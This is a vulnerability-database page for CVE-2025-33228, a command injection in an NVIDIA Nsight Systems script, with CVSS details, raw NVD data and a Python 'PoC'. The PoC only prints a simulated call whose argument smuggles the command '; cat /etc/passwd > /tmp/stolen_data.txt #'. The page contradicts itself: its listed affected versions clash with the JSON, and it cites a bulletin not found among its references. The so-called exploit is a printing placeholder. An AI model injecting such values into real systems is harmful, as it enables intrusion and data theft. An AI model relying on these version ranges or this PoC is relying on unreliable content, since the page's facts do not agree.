Security Vulnerability Report
中文
CVE-2025-33228 CVSS 7.3 HIGH

CVE-2025-33228

Published: 2026-01-20 18:16:02
Last Modified: 2026-02-02 16:07:25

Description

NVIDIA Nsight Systems contains a vulnerability in the gfx_hotspot recipe, where an attacker could cause an OS command injection by supplying a malicious string to the process_nsys_rep_cli.py script if the script is invoked manually. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, denial of service, and information disclosure.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:cuda_toolkit:*:*:*:*:*:*:*:* - VULNERABLE
NVIDIA Nsight Systems gfx_hotspot recipe < 2024.1.1
NVIDIA Nsight Systems gfx_hotspot recipe < 2023.4.1 (legacy)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-33228 PoC - NVIDIA Nsight Systems Command Injection # Note: This PoC is for educational and security research purposes only # Author: Security Research # Reference: NVIDIA Security Bulletin L20-001 import subprocess import sys import os def generate_malicious_string(): """Generate malicious input for command injection""" # Malicious payload that attempts to execute arbitrary command # In real attack scenario, attacker would craft input like: malicious_input = "; cat /etc/passwd > /tmp/stolen_data.txt #" return malicious_input def simulate_vulnerable_execution(): """ Simulate the vulnerable scenario where process_nsys_rep_cli.py is called with malicious input without proper sanitization. WARNING: Do not run this on production systems. """ print("[*] CVE-2025-33228 - NVIDIA Nsight Systems Command Injection") print("[*] Target: process_nsys_rep_cli.py in gfx_hotspot recipe") print("[*] CVSS Score: 7.3 (HIGH)") print() # In vulnerable version, the script would execute: # python process_nsys_rep_cli.py <user_input> # where user_input contains injection payload vulnerable_command = "python process_nsys_rep_cli.py" malicious_arg = generate_malicious_string() print(f"[!] Vulnerable execution would be:") print(f"[!] {vulnerable_command} '{malicious_arg}'") print() print("[*] Impact: Arbitrary OS command execution") print("[*] Risk: Code execution, privilege escalation, data tampering") print() print("[*] Mitigation: Apply NVIDIA security patch from L20-001 bulletin") if __name__ == "__main__": simulate_vulnerable_execution()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33228", "sourceIdentifier": "[email protected]", "published": "2026-01-20T18:16:02.300", "lastModified": "2026-02-02T16:07:24.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Nsight Systems contains a vulnerability in the gfx_hotspot recipe, where an attacker could cause an OS command injection by supplying a malicious string to the process_nsys_rep_cli.py script if the script is invoked manually. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, denial of service, and information disclosure."}, {"lang": "es", "value": "NVIDIA Nsight Systems contiene una vulnerabilidad en la receta gfx_hotspot, donde un atacante podría causar una inyección de comandos del sistema operativo al proporcionar una cadena maliciosa al script process_nsys_rep_cli.py si el script se invoca manualmente. Un exploit exitoso de esta vulnerabilidad podría conducir a la ejecución de código, escalada de privilegios, manipulación de datos, denegación de servicio y revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:cuda_toolkit:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.1.0", "matchCriteriaId": "6D53794E-E526-471B-94F5-F9BCC26C1BC1"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33228", "source": "[email protected]", "tags": ["US Government Resource", "VDB Entry"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5755", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33228", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}